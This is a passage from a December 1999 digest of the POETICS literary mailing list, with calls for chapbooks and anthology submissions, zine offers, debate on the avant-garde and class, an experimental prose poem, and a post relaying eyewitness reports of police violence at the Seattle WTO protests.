> *Get Your Private, Free Email at http://www.hotmail.com*

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22. Elizabeth Treadwell
new chapbooks by women
Wed 1 Dec 1999

Thanks to all who've responded -- and we eagerly await review copies. Any books we receive we will also consider for our HOW2 piece and for review in _Outlet_ as well.

You may send chapbooks to me at: PO Box 9013, Berkeley, CA 94709

or/and to Sarah Anne Cox at:
95 McCoppin #E206, SF, CA 94103

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23. Elizabeth Treadwell
Correction re: new chapbooks by women
Wed 1 Dec 1999

Excuse me, I mailed that too quickly, my note should read, we will consider review copies for discussion in our piece for HOW2 as well as for review in Outlet.

We are interested in reviewing recent (1999) chapbook publications by emerging women writers from our beloved micropress community.

& again:

You may send chapbooks to me at: PO Box 9013, Berkeley, CA 94709

or/and to Sarah Anne Cox at:
95 McCoppin #E206, SF, CA 94103

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24. Kevin Killian
"Mirage #4/Period[ical]" #89, Atlanta issue
Thu 2 Dec 1999

Hi, it's Kevin Killian. Dodie Bellamy and I have turned over the new issue of our zine "Mirage #4/Period[ical]" to the Atlanta Writers Group about whom we had been quite curious and now the issue (#89!!) is ready. Maybe it will open eyes all over the world about the interesting new writing scene in Atlanta. Anyhow, if anyone on this list would like a copy please back-channel me and I'll send you one. Please don't send money, this is a free offer and just send your address instead (unless you think I know it by heart). No solicitors will call...

Kevin K.

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25. Steve Tills
Lehman book
Thu 2 Dec 1999

To page 247 now, and all and all I guess I quite like his _Last Avant Garde_, as the readings are <exemplary> and full of care. So the thing about the intro statements, how they can ruffle non-seniority list members who were not able to join the Company at the ground-floor breaking of tradition (maybe we were only, like, 0-8 years old at the time, too), well, can just let it go. It's pretty innocuous, I guess. His <Last> Avant-Garde seems more reverence and love than pronouncement and control. Much love, in fact, which is warm and clear. What I would, myself, "espouse" had I 'nuff time, talent, and persistence to cover D. Bromige (David Brimbody) and B. Grenier (Robert Grinnear), another avant-garde I don't want to be the lost.

↑ Index

26. Tom Beckett
literary remainders
Thu 2 Dec 1999

In the Winter Literature Catalog of the Scholar's Bookshelf (a remainder service) are two offerings which may be of particular interest to the List.

item# 4EMMJ AGAINST ANTHOLOGIES by Laura Riding and Robert Graves

was 32.50, now 6.95

item # 49FGJ THE TROUBLE WITH GENIUS by Bob Perelman

was 16.95, now 6.95

I'm working with a paper catalog. You cyberfolk may want to visit the website:

www.scholarsbookshelf.com/literature/

Sincerely,

Tom (the Provincial) Beckett

↑ Index

27. Alan Sondheim
Phase Space
Thu 2 Dec 1999

\

Phase Space

Nikuko, the beautiful Russian ballet dancer, pirouetting before the very august presence of Doctor Leopold Konninger, her state of mind:

A violations and tears nightmare!
You danced for 262255 hours?
No no no, it was longer and shorter,
No no no, i don't remember
and my dissolutions are those moments of re-entry, when i find myself on mother earth father moon, when i find myself dreaming of doctor leopold konninger, my eyes fixed on his solar visage, my dancing perfect and continuous and 1021 and 1047 - Nikuko is still alive!
Use of uninitialized value at ./.julu line 130, <STDIN> chunk 8.
For 4 months of dissolution, we have been and buried
and it has taken us 3.000 minutes to speak our very last ...

and my dissolutions are those moments of re-entry, when i find myself on mother earth father moon, when i find myself dreaming of doctor leopold konninger, my eyes fixed on his solar visage, my dancing perfect and continuous;

the universe is my traditional object, the universe is my breathing in and breathing out, space is inhabiting me; i am Nikuko the beautiful russian ballet dancer who is winding the universe around her as she pirouettes for doctor leopold konninger; i alone recognize the confused topologies of embedded space-time around my waist and breasts and thighs, my tutu enmeshed in nebulae and stars; oh ballet, o ballet, hanged_man with hours of sexual fury!

↑ Index

28. Layne Russell
ain't that the dickens
Thu 2 Dec 1999

December 2, 132 years ago (1867):

Charles Dickens gives his first reading in New York. Before the box office opens, people stand in two lines almost a mile long, waiting for tickets.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.sonic.net/layne
a quiet place
"in this rose light time's door does not close"

↑ Index

29. Lowther, John
Re: avant garde / mckenzie
Thu 2 Dec 1999

> geraldine mckenzie wrote;
>

> "It is misleading to refer to
> the avant garde solely in terms
> of novelty. This establishes
> an association with art
> as commodity which is generally
> repudiated by those artists
> who might be described
> as avant garde. Novelty is
> a creature of time and unreliable,
> a bye product of experiment
> rather than an end."

it is misleading --- did i do it ? i recall writing about someone at the symposium in new orleans who'd thrown out the tern novelty in his screed about the term
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

experimental --- i dont recall the term avant garde coming into it --- but i wd like to mention that novelty need not relate to commodity and as its origin is in the 14th century it seems reasonably disconnected to commodity culture circa now

> "What is more significant
> is the 'revolutionary' or
> oppositional nature of a text."

i see what yr saying here but i'm not sure that belief is compelled --- that is, i find the discontinuity between the work of the italian futurists and what had been going on up until then much more interesting, in and of itself (it's novelty?) than i do they "revolutionary" attitudes of this group ---- as such it seems that its our needs that make X Y or Z "significant"

> "Meanwhile, in the marketplace,
> the 'novelty' of the avant garde
> signals just another item for sale
> -or so some would like to think.
> If the experimental only referred
> to technique, this might be so, but
> when it refers to ideas or modes
> of thought, then it can constitute
> a challenge to what Bernstein
> accurately terms'official verse culture' which
> (...) is still very much in place."

how much avant garde is available in the market place ? i've never seen any, as such i wonder what this cd mean ultimately --- and the experimental, i'd say has nothing to do with technique and is a cognitive relation to the work not a style or technique that one can pick up put down at any time --- not that i think many of us are writing experimental poetry --- i doubt we are --- i maybe have written one poem deserving the name and seen a handful more --- it seems to me that instead what most of us are engaged in is improvization of one sort or another and with varying degrees of guidelines/guard-rails etc

i dont dispute that there is an official verse culture but i don't feel connected to it enough to be able to muster much of an oppositional attitude towards it myself --- to be truly oppositional i wd have to pay attention to official verse culture and there is so much better to be done with my time

> "To say it [the A-G] does not,
> and can not, exist is either
> wishful thinking or a form of cultural
> despair, a loss of faith
> not only in poetry, but also
> language, and thus - us."

must it be so stark ? i wd rather
have the supposedly avant garde character
of presentness and ditch the oppositionality

so i guess i'm not in the avant garde huh ?

↑ Index

30. Maria Damon
address query
Thu 2 Dec 1999

---

anybody got a mailing address for Tinfish? thakns in advance md

↑ Index

31. Daniel Kane
machismo and the avant-garde?
Thu 2 Dec 1999

Anyone know of work that's been done on machismo as implicit in avant-garde values? Or, on a more localized level, Olson and machismo (i.e., "go by it, boys, rather than by,the metronome," and "there it is, brothers, sitting there, for USE," "from the moment he ventures into FIELD COMPOSITION--puts himself into the open" etc.).

A list of any articles / books that deal with this in one way or another would be much appreciated.

If you like, backchannel to [redacted].

Thanks.
--daniel

↑ Index

32. Lawrence Upton
invitation to submit work to "on word" - Writers Forum's 1000th publication
Thu 2 Dec 1999

---

invitation to submit work to "on word"

Writers Forum's 1000th publication

As its 1000th publication, Writers Forum plans another special! It will be called "on word" and will be as big as finance permits. This is an invitation for you to send work for consideration for inclusion - but *please read on first.

We hope to produce an eclectic anthology of investigative, positively-experimental work, with supporting statements *where *appropriate. We are interested in seeing work across the range of poetry from linear verbal to non-verbal visual work by poets who, regardless of gender or race, have in common their commitment to "making it new" - those who are, in our judgement, still trying new things, open to ideas, still surprising.

The proposed book is intended not just to provide a showcase of energetic contemporary work, much of it not available through existing anthologies, but also a bridge and speculative map into the new poetries being worked out now.

Like WF750 the approach will be international.

We want to see contributions from younger poets, however one defines "younger".

As a speculative book, attention will be paid to emerging forms and media including approaches which cross traditional and accepted boundaries. Ideally, the publication will include CDs to present aural performance, to examine the use of colour, to present some of the work in "the emerging technologies".

At present, we know that we are able to publish a print publication of limited scale; further funding is being sought to enable us to fulfil our wider ambitions.

For now, you are invited to send 4 (four) pages, camera ready. The size should be in the proportion 210 (wide) : 297 (high).

Please send s.a.e. / i.r.c. for return of your work. If you are on email, let us have your email address.

If it becomes possible to include CDs further announcements will be made. All such announcements will be published at the WF website.

http:// matrix.crosswinds.net/members/~writersforum/

At present, all we want is work on paper.

These guidelines are intended to be self-explanatory; but if you have any question, write to either editor with sae / irc or email Lawrence Upton on
[redacted]

Submissions to "on word", which fit these guidelines (intended to save us all wasting time), should be sent, with s.a.e. / i.r.c. to either:

Lawrence Upton
(WF1000)
32 Downside Road
Sutton
Surrey SM2 5HP
UK

or

Bob Cobbing
(WF1000)
89a Petherton Road
London N5 2QT
UK

Provisional deadline: 30th June 2000

Publication date: 1st January 2001 or later

Bob Cobbing & Lawrence Upton
Editors: "on word"

JUST PUBLISHED:
"huming / queuing" by Lawrence Upton
Writers Forum, London; November 1999
40 pp; ISBN 0 86162 £3.00 sterling plus p & p
from
New River Project, 89a Petherton Road, London N5 2QT

↑ Index

33. david bromige
WTO : reports of the police riot in Seattle
Thu 2 Dec 1999

Listmates : this ain't poetry nor poetics, but it has a foot in kultur-kritik. I know how hard it can be to get any news that hasnt been masticated then turned into daily rejectamenta by the corpsemedia---our local paper, an organ of the NYT, airbrushed yesterday's reign of terror by police forces, and had a fatuous editorial turning the violence of a dozen anarchists and a handful of thugs (agents provocateurs?) into 5,000 peaceful protestors going ape. And so now we dont need to pay further attention to any critcism of the WTO, because if we did criticize it, we'd be nut-cases (as the Estonian delegate said).

Because I live within range of radio station kpfa, I am able to forward eye-witness accounts heard yesterday, by live feed from Seattle. And so I shall---with apologies to those who would like to see this List stick to its poetics mission.

These reports testify to "overkill" violence on the part of police forces in Seattle. Faced with peaceful protests and passive resistance, the forces of law-n-order fired rubber bullets pointblank at seated protestors, in attempts to clear a 50-block area that the mayor had (with dubious constitutionality) placed off-limits to free speech.

In many previous such demonstrations in other cities, protestors have been removed by hands-on methods, with ultimate success for the police. In Seattle, police fired rubber bullets into the faces of those who were in their way, breaking teeth and raising grapefruit-sized welts. A young woman who was among those helping out at a field station by tending the wounded, said that many injured men had been shot in the groin, likewise pointblank. Others had their wounds in the back, sustained as they complied with police demands that they vacate the area. People were trapped in order to be teargassed [note : as I saw happen at UC Berkeley in 1968] rather than being allowed to disperse.

She also testified that she and other workers were ordered to remove the red cross armbands they wore to identify themselves, and had their medical supplies confiscated. This meant that protestors who had been teargassed (often, also at pointblank range) were denied water and swabs to relieve the pain of the searing and choking gas. She said, too, that (this in contrast to wire-service reports today of "several injured") she and her colleagues had treated more than a hundred sufferers.

I am a student of voices. This woman was telling the truth, on this I stake myself....although I can well imagine the corporate media would, did they have to deal with her at all, frame her as a dupe or tool.

The list of civil rights violations, physical or otherwise, could go on and on, but this is e-mail, so I forbear.

Many of these police, in riot gear, displayed no badges nor was it possible to know to which adminstrative unit they belonged----Seattle police, King's County marshalls, Washington State police, Highway Patrol, federal agents, National Guard. The Mayor has done some hand-wringing, but like it or not he, Paul Schell, bears ultimate responsibility.

What one wants to do with this information is a seperate question. My sympathies lie with those who believe we must find a way to ensure such police-riots cannot be permitted (as surely this one was encouraged) to occur again.

In a move to compel the Mayor and his supporters to bear this responsibility, and to persuade the administrations of other cities in future situations where civil disobedience occurs, not to allow their police to go mad-dog (then wring their hands upon the fait accompli), many of us are urging a one-year boycott of the city of Seattle. We are trying to reach the Mayor to let him know the terms of this boycott. We think it should last for one year unless there is further police brutality today, in which case it should be extended to two years, and so on.

The boycott---based upon the grounds that Seattle cannot police its own police, thereby rendering the city unsafe to any persons---asks that you not travel to Seattle any time between Dec 5, 1999, and Dec. 5, 2000. If you need to drive

thru the city, please gas up and get food in communities on either side of the city. The point is to spend no money in Seattle. Yes, this will bring hardship to innocent merchants and employees, but Seattle authorities escalated these proceedings into a war, and in a war, innocent people do get hurt. There is no other way to bring pressure upon authorities to restrain their police. At best one gets an official inquiry, which exonerates the wrong-doers. If we can hit Seattle in the money-belt, those who feel the pinch the most will exert their own pressure on rogue officials. An example will be made of Seattle to prevent any repetition of such police overkill, in any other venue.

With an outfit such as the WTO, consisting of delegates not elected by us, yet empowered to overturn our labor and environmental laws, there is nowhere to take our disagreement but to the streets---there, and the Net. The corpsemedia will distort these issues beyond sense. Ergo, the streets have to made safer for demonstrators. Or do we want a future where an unreachable WTO wrecks our lives and our one arena of action is owned by uniformed sadists?

Cities will have to live with the fact that the USA allows peaceful assembly of dissidents. There are going to be people in the street for as long as we are denied other avenues to protest the undemocratic rule of the WTO---which can overturn national and state and local environmental laws, which can force our nation to import the products of child- and slave-labor, and which can bring about further export of jobs from the USA to countries with no regulatory sanctions that protect their workers or their environment. In the meantime, cities must not be allowed to get away with super-violence faits accomplis.

The President himself told the WTO yesterday that he approved of the peaceful protestors being in the streets---at the same time that police were carrying out this violence against these president-approved persons. Judge for yourself whether this was cynical on his part or not....perhaps he is merely a dupe.

Further sanctions are possible, and one would be to refuse to buy any product manufactured in Seattle.

Please spread the word, and qualify the consequences for fascism in whatever way you wish.

Thanks for your attention.

David Bromige.

↑ Index

34. Jim Andrews
MIEKAL AND AT DEFIB THIS SUNDAY
Thu 2 Dec 1999

MIEKAL AND AT DEFIB
Sunday December 5, Noon Pacific Time (19:00 GMT)
Defib: http://www.webartery.com/defib

MIEKAL AND Miekal And is a high energy experimentalist writer/polyartist who has been doing interesting, exciting work for a long time in many media. His concentration is on collaborative work; he's working with Alan Sondheim on Alan's collaborative projects on the Trace Webboard and is developing an exciting project at LinguaMOO called Cybele's Multiverse Garden as well as participating with the other webartists at webartery. We'll be surfing these projects and talking with Miekal about online collaboration.

DEFIB You're invited to participate/collaborate in this live chat session which, like the rest of the Defib Web artist interviews, is recorded and turned into a hypertranscript (canned version) of the show. Past shows are available at http://webartery.com/defib/pastevents.htm

TECH REQ
All you need is a Java-enabled browser pointed at
http://webartery.com/defib to participate. Or mIRC or Ircle, etc (see
Help section in Defib for details) if you prefer to use a traditional
IRC client.

SOME OF MIEKAL AND'S WORK/COLLABORATION SITES:

Qazingulaza:
http://net22.com/qazingulaza

linguaMOO:
http://lingua.utdallas.edu:7000
(no password required, just click "Log in")
Miekal's room is Cybele's Multiverse Garden
type "@go Cybele's Multiverse Garden"

Trace:
http://hum-webboard.ntu.ac.uk/trace

↑ Index

35. Poetics List Administration

POETICS: approval required (EE7EF13B)

Thu 2 Dec 1999

--On Wednesday, December 01, 1999, 1:33 AM -0500 "L-Soft list server at University at Buffalo (1.8d)" <[redacted]> wrote:

This message was originally submitted by [redacted] to the POETICS
list
at LISTSERV.ACSU.BUFFALO.EDU. You can approve it using the "OK"
mechanism,
ignore it, or repost an edited copy. The message will expire automatically
and
you do not need to do anything if you just want to discard it. Please refer
to
the list owner's guide if you are not familiar with the "OK" mechanism;
these
instructions are being kept purposefully short for your convenience
in
processing large numbers of messages.

---------- Original message (ID=EE7EF13B) (57 lines)
---

by listserv.acsu.buffalo.edu with SMTP; 1 Dec 1999 06:33:09 -0000
by miro.bestweb.net (8.9.3/8.9.0) with ESMTP id BAA26357;
Wed, 1 Dec 1999 01:32:53 -0500 (EST)
Date: Wed, 01 Dec 1999 01:31:44 -0500
From: George Fouhy <[redacted]>
To: Nanette <[redacted]>, "[redacted]" <[redacted]>,
"[redacted]" <[redacted]>,
Nico Suave <[redacted]>,
"[redacted]" <[redacted]>,
"[redacted]" <[redacted]>,
PAULETTE <[redacted]>,
"[redacted]" <[redacted]>,
Poetics List <[redacted]>,
Poetics List Administration <[redacted]>,
"[redacted]" <[redacted]>, "[redacted]"
<[redacted]>,
"[redacted]" <[redacted]>,
"[redacted]" <[redacted]>,
Robert Scrivens <[redacted]>,
"[redacted]" <[redacted]>
Subject: Douglas Goetsch

Visit our new feature poet for December 6th at 7:30 PM at the Creative Arts Cafe Poetry Series....

http://www.bestweb.net/~cindyf/poetry_2000.htm

Regards...
Cindy

↑ Index

36. Poetics List Administration
Douglas Goetsch (fwd)
Thu 2 Dec 1999

This message came to the administrative account. - tim shaner

--On Wednesday, December 01, 1999, 1:31 AM -0500 "George Fouhy" <[redacted]> wrote:

Visit our new feature poet for December 6th at 7:30 PM at the Creative Arts Cafe Poetry Series....

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Regards...
Cindy

↑ Index

37. Poetics List Administration
NPF Conference Call for Papers (fwd)
Thu 2 Dec 1999

---

this message cam to the admin account - tim shaner

--On "Sylvester Pollet" <[redacted]> wrote:

Burt Hatlen asked me to repost this as a reminder of the Feb. 1 deadline for abstracts. Y'all come! Sylvester
>
>Call for Papers
>
>The Opening of the Field: A Conference on
>North American Poetry in the 1960s
>
>University of Maine
>Orono, Maine
>June 28-July 2, 2000
>

>
>The National Poetry Foundation invites paper and panel proposals for a
>conference on North American poetry of the 1960s. Proposals are welcome
>on writers of previous generations whose literary careers extended into
>the 1960s, such as Louis Zukofsky, George Oppen, Robert Lowell, Charles
>Olson, Anne Sexton, Elizabeth Bishop, Lorine Niedecker, etc.; on poets of
>literary movements that climaxed in the 1960s, including the Beat, Black
>Mountain, San Francisco Renaissance, and New York schools; on women po-
ets
>and poets of color, who began to speak with a new confidence during this
>decade; and on new literary moments that began to define themselves in
>this period, such as the ethnopoetic movement and language-centered
>writing. Papers are also invited on the general cultural background of
>the period, including such themes as the tensions between "academic"
>poetry and various attempts to bring poetry into the lives of people "in
>the streets"; the relationship of poetry and popular culture, including
>rock music; and the role of poetry in the anti-war movement. As the title
>of the conference suggests, we invite proposals on Canadian as well as on
>American poetry in the 1960s.
>
>The conference will begin on Wednesday evening, June 28, and will conclude
>shortly after noon on Sunday, July 2. Accommodations and meals will be
>available at a reasonable rate in university residence halls. Registration
>will be $85, with a reduced rate of $60 for graduate students.
>
>Confirmed participants as of October 1, 1999, include Marjorie Perloff,
>Michael Davidson, Joan Retallack, Lorenzo Thomas, Rosmarie Waldrop, Keith
>Waldrop, Maria Damon, Barrett Watten, Lynn Keller, Peter Middleton, and
>Ron Silliman.
>
>Send one-page abstracts before February 1, 2000, to
>
>Burton Hatlen
>Director, National Poetry Foundation
>Room 304
>5752 Neville Hall,
>University of Maine
>Orono, ME 04469-5752
>

↑ Index

38. Steve Tills
Humble seed
Thu 2 Dec 1999

So what would it look like, _The Best American Poetry Online_, culled from 75 experimental hypertext mags, if say three-four-five hundred experimental poets each pitched in 20 small bucks for their own two copies a piece and maybe another 20 little dollars to get a coupla copies into every Bans and Ignoble and Aborters big comfortable public libraries/stores in the country? Some cunning <buyers group brokering> with Amazon.com and the publishers and others could also help...

↑ Index

39. Susan M. Schultz
Re: address query
Fri 3 Dec 1999

Maria--the Tinfish address is 47-391 Hui Iwa Street #3, Kaneohe, HI 96744. Thanks for asking.

Susan Schultz

↑ Index

40. Simon DeDeo
Class & Poet[ry/ics]
Fri 3 Dec 1999

Two responses:

Kathy: * I'm glad we're on somewhat of the same wavelength re: a writer's personal relation to class. I'm not sure if it's useful to bring up a discussion of the politics of criticsm, but I do feel that class is used as a blind for race -- for example, in affirmative action discussions, opponents often bring up the upperclass status of a particular black student as an argument against.

The question of a writer's relation to his class -- does anyone know of a critic who goes in to such issues in an explicitly Marxist way? I think -- perhaps -- Bakhtin, in _Dost. Poetics_ -- but it's been awhile.

Maria: * I'm not complaining (at all) that Byron is being attacked for being white. I'm just saying that a political criticism of Byron will focus on his whiteness more than his class in this "day 'n' age". But perhaps we should all stop writing/reading poetry and work on the free Mumia campaign.

-- Simon

↑ Index

41. David Larsen
lettuce report
Fri 3 Dec 1999

I'm sorry I've been too busy w/ exams & the holiday to deliver on my promise of timely lettuce news --I'm still in the lower echelons of finding out about it myself --Here though is an informative report on some of the UFW's work in the central valley:

http://www.unitedfarmworkers.com/letter-vegtable.htm

↑ Index

42. david bromige
3 mans & one fans
Fri 3 Dec 1999

> *webcast: Silliman Osman Perelman Stefans*

Three men in a boat and their sainted fans. Dig those crazy n-dings! LangPos fer sure.

db

↑ Index

43. Stephen Ellis
Re: avant garde / mckenzie
Fri 3 Dec 1999

There're probably some interesting connections to make between what John's bringing up here viz "official verse culture" and the avant garde, the recent issues of class that have found their way onto the List, and the recent events in Seattle, particularly possible responses to it, as outlined in David Bromige's post, but I'm not clear on exactly what these (connections) might comprise. It's weird

to think that perhaps the "oppositional" status between "official verse culture" and the avant garde are only oppositional within a particular frame of reference, perhaps in ways similar to the Seattle battles between officialdom and protestors against officialdom's apparent power - very like the usual game of cops and robbers, a vying for power pointed toward those that already have it, hoping for exchange, hoping to be heard, hoping after some form of power one can keep for themselves, or use in a better way than those who currently wield it to bust heads, balls, unions or whatever seems to stand in the way of "moving forward" , wch I assume means toward material gain, or, for those in opposition, what? - a more just world? But in terms of what ideal or out of what

labyrinthine sacrificial pit are such judgements made, ie., who's an "outsider" and what are they outside of? There are a lot of troubling questions here. At the front line of what struggle, exactly, does the avant garde do its stuff? Are cops working class? Were the bulk of the protestors in Seattle working class? Was Marx working class? Or, not to get so ridiculous as to ask whether the Marx Brothers were working class, & to shift directions, are the working class capable of self-rule? Do workers need bosses like bosses need workers? Is human consciousness in fact capable of some degree of self-regulation that would lead to the creation of a state of affairs in wch something other than bared teeth rules? And if so, how does this mode of thinking translate into action, into form? Is that what the avant garde has always posed itself as, new forms of thinking that may "trickle down" into the common polis without being in some wise simply ghettoized or elevated as just another aesthetic avenue to the immaterial? And is "official verse culture" a way to sandbag the flood of change those who already have power and/or status are always afraid is just around the corner? And is it? Or what of "anarchistic" ideas expressed in modes common to "official verse culture" - who will read them? Who comprises the working class? Or what percentage of that class is interested in radical ideas and change enough to spend real time examining the ways in wch either and/or both the avant garde or "official verse culture" propose change. Or how much is a "necessity" of change foisted upon those who often haven't yet the means to understand or determine what their own place(s) in such "new systems" might be? We are all

put in a state of perpetual trespass against ourselves because of our own inabilities to get outside of our own isolation, and so our ideas about all of the above (and more) become isolating traumas, albeit perpetually expressed. "The powers that be" may be our own ability to endure under the isolation and stress that are a result of either being possessed or bereft of exactly those powers, rather than the power itself, wch, disembodied as it also is in us, is a very difficult thing to identify, as are we, remaining as we do at its behest, under order. Yet therefore also, always "in" substance. The argument is, what are we gonna DO with it, about it, for it, against it - the problem is vectoral: where are we going? Forget the "reasons"; give me the directions. (or, forget the bandaid: give me the finger.) S E

> *From: "Lowther, John" <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: avant garde / mckenzie*
> *Date: Thu, 2 Dec 1999 15:15:42 -0500*
>
> *geraldine mckenzie wrote;*

> *"It is misleading to refer to*
> *the avant garde solely in terms*
> *of novelty. This establishes*
> *an association with art*
> *as commodity which is generally*
> *repudiated by those artists*
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> *as avant garde. Novelty is*
> *a creature of time and unreliable,*
> *a bye product of experiment*
> *rather than an end."*

it is misleading --- did i do it ? i recall writing about someone at the symposium in new orleans who'd thrown out the tern novelty in his screed about the term experimental --- i dont recall the term avant garde coming into it --- but i wd like to mention that novelty need not relate to commodity and as its origin is in the 14th century it seems reasonably disconnected to commodity culture circa now

> *"What is more significant*
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> *oppositional nature of a text."*

i see what yr saying here but i'm not sure that belief is compelled --- that
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> *"Meanwhile, in the marketplace,*
> *the 'novelty' of the avant garde*
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> *If the experimental only referred*
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as such i wonder what this cd mean ultimately --- and the experimental, i'd say has nothing to do with technique and is a cognitive relation to the work

> *not a style or technique that one can pick up put down at any time --- not*
> *that i think many of us are writing experimental poetry --- i doubt we are*
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> *--- it seems to me that instead what most of us are engaged in is*
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> *guidelines/guard-rails etc*
>
> *i dont dispute that there is an official verse culture but i don't feel*
> *connected to it enough to be able to muster much of an oppositional attitude*
> *towards it myself --- to be truly oppositional i wd have to pay attention to*
> *official verse culture and there is so much better to be done with my time*
>
> > *"To say it [the A-G] does not,*
> > *and can not, exist is either*
> > *wishful thinking or a form of cultural*
> > *despair, a loss of faith*
> > *not only in poetry, but also*
> > *language, and thus - us."*
>
> *must it be so stark ? i wd rather*
> *have the supposedly avant garde character*
> *of presentness and ditch the oppositionality*
>
> *so i guess i'm not in the avant garde huh ?*

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

44. Lawrence Upton

Captain's log WF1000 - supplemental

Fri 3 Dec 1999

Responses to the initial call for submissions have shown up some ambiguities and omissions in that call. So...

(1) It says: "The size should be in the proportion 210 (wide) : 297 (high)". 210 mm x 297 mm is A4 paper and we realise that such paper is not readily available world-wide; but we hope you will set your word-processor to custom size, or shift the margins, or rule up your drawing paper accordingly. It is likely that the actual published page size will be less than A4 so make sure that you use a type size which will cope with reduction!

So: work in that ratio, 210:297, and be prepared for us to print at anything down to a regular paperback

(2) We prefer previously unpublished work, but will consider published work. Please state details of any previous publication.

(3) i.r.c. means international reply coupon - a way of sending us stamps across national borders - feel free though to just give an email if you don't actually need return so we can email you saying yes or no

(4) This is an international invitation. Work from poets of all countries is welcome if it fits the guidelines

(5) Funds permitting, the book will be professionally printed. If they do not permit then it will be photocopied in-house and professionally bound. So "camera-ready" means "as long as we don't have to retype it etc". Laser prints, ink jets, decent photocopies and so on should be fine as long as they're not running low on toner. (For those of you who know the 750th publication of WF - WORD SCORE UTTERANCE CHOREOGRAPHY - the introductory pages were mastered on a sheet feed desk top laser which cost about 100 UK pounds

(6) There will be an index, but do consider putting your name on the page as an integral part of the image to be reproduced.

(7) Don't include page numbers because they will be incorrect when they are in the book. Pencil numbers on the back of the pages to show correct order.

(8) Choice of type face etc is entirely up to you

Lawrence Upton
for both "on word" editors

↑ Index

45. Lawrence Upton

Re: housepress announces "COURIER: an anthology of concrete and visual poetry."

Fri 3 Dec 1999

---

you finished it! well done!

L
----- Original Message -----
From: derek beaulieu <[redacted]>
To: <[redacted]>
Sent: 02 December 1999 02:00
Subject: housepress announces "COURIER: an anthology of concrete and visual poetry."

↑ Index

46. Alicia Askenase

Re: "Mirage #4/Period[ical]" #89, Atlanta issue

Fri 3 Dec 1999

Dear Kevin,

I would very much like a copy of your latest "Mirage #4 Period[ical] #89, Atlanta Issue. My address is: Alicia Askenase, Walt Whitman Cultural Arts Center, 2nd and Cooper Streets, Camden, NJ 08057. Thanks in advance--Alicia

↑ Index

47. R. Drake

Forward: countdown to self-destruct

Fri 3 Dec 1999

> *Date: Thu, 02 Dec 1999 23:08:32 -0800*
> *From: sloynic <[redacted]>*
> *Subject: countdown to self-destruct*
>
> *31 days remain before 'webbeat'99' removes itself from the web. if you haven't visited for awhile, here's your opportunity. so much was learned, & so much remains unknown. internet explorer & an imac ventured together with apologies for what won't work with your browser or your machine. i f o n l y .*
> *november/december issues will be uploaded as created until, Y2K eve, when fetch & your eds. have a date in webdocs to delete, in inverse order, every thread contributed to the web. penelope's shroud.*
>
> *october 'broken neck doll. to cats everywhere.'*
> *(we mourn the loss of swallow and dasdo, our loving companions for nearly 19 years.)*
> *breon ossella sings (wait for it to load in. link underlining at bottom of page); rebik pulawniwsko's website for his sister and her beloved animals is a quicktime movie made from screenshots of the website (wait to load. link underlined text at bottom of page); guitarist, jake (the cat) sekafetz tells his musical dream of salem, oregon band, the diggs (two pages with link to jake's bio or go on to 'OH!') ; sloy's moving gif, 'Oh!'; fake beat hand with author links.*
> *http://www.users.uswest.net/~gkann/ruby%27sopera.html*

september 'you want words.'
(two branches of the same tree: live and beep (as in beepers. ever carried one?)

'LIVE' rick dawson takes it on. 3 pages with elevators: 'goodbye bones'; 'whatssup?'; & 'circles revolve. once started they must end'; (links at bottom of each page stream.) 'BEEP' john mock, reeling in loss, fires an elevator stream of words in 'Y2K's hip/hop jesus.' (to read & then to speed. put the mouse to the pedal, hold down arrow & see the best streaming words in the world !) when done, click link at the bottom & read the poet on his trigger in 'john bio.'
http://www.users.uswest.net/~gkann/livebeep.html

august 'not enough room to move.'

still stream/moving stream
'screenshots': sloy shoots 14 stills & makes 14 pages of her imac screens beginning with 'the way i see it,' and ending with 'under the beat hand.' (remember, the screens are photos of screens, i.e., not live. click on underlined words at bottom of each page, not on the images); 'movies': nic's paintings on cardboard & driftwood turn and reveal themselves in quicktime. view 'log,' 'tubes,' 'quandary,' 'navy colt,' & 'kill.'
http://www.users.uswest.net/~gkann/august.html

july 'are you ready for Y2K?'
(guitar work, 'race car' by don edwards. double roll of t.p., 'buttwipe,' & 'no one told the truth' brown bag by sloy)

'a girl's guide to god' : jean erhardt's powerful & starkly beautiful manifestos as revealed through the artist's & poet's passionate & bold readings of the old & the new testaments. 'max's good life': max chavez's photographs of family life. (links hidden in the pictures. caress the screen with your mouse until the teensy hand appears, then click!) evocative, larger-than-life glossies: 'trout,' 'tequilla,' 'gabrielle's sunglasses,' 'max & anita,' & 'sunset.' contributors' links at bottom of page.
http://home.earthlink.net/~sloynic/readyforY2K.html

june 'nudes & cars'
a series of 13 pages that include hidden hot spots, moving pictures, confessional non-fiction, & sound. 'cargo' & 'highway star,' (wait for the load-in) by nic & the dag: a red car on the road & a drumbeat; 'i lost my funny bone,' 3 times, by sloy (find the hotspots); 'while you're still in the pink,' hardons & blowup dolls seen on the web (link at the bottom); 'the last leather stocking tale,' a true confession by tom crawford involving a car, bondage, & a death-cum-wish, (click on 'walk on

water with my poetry'); 'leadsled,' ink strokes on paper, scanned & tiled, by nic (click on 'slow ride to a sleeping woman' at bottom of page); 'sleeping woman,' ink strokes on paper by nic (follow the >>>>);'self nude,' & 'web hunk,' voluptuous acrylics on canvas, painted, photographed & scanned by izak bales; 'asleep,' the finest moving art (gif) on the web by nic; & finally, '53 chevy', seen on the web. (remember to check out contributors' links on last page.)
http://home.earthlink.net/~sloynic/mayday.html

may 'nested tables & other work in the mill'
pagemill, the pagemaker included in the imac package, is used as sloy's art. 'dear ma i never write or call'; 'twoblue moons'; & 'kent, valsetz & other mill stories'; a series 3 pages of nested tables which become pictograms. (move your cursor over the screen to find the hotspots, that teensy hand, & what words or letters flash is also part of whatever they add up to. pagemill for pagemill's sake & not for the sake of the mill.)
'cubio' is nic's moving cube. wait for it to load in & then be hypnotized. 'THAT BOY,' the dag (jonny studer) on virtual drums; 'click here! CLICK HERE! click here!' nested tables, a gif, & a click hot spot somewhere. 'pumpo,' nic's animation in 3 parts. it's worth the wait for the load to see the cells 'pumpo' as singles, each to its own rhythm, until they are influenced into one
perfect beat in synch. 'transporting furniture to heaven,' a prismacolor chair, & 'van of the skull,' a prismacolor van with guitarist, don edwards's 'spacey 8' soundtrack. (641 k, on an uncongested web night and a 56k modem; not a long wait. keep the view status bar on your browser checked so you can watch loadins.)
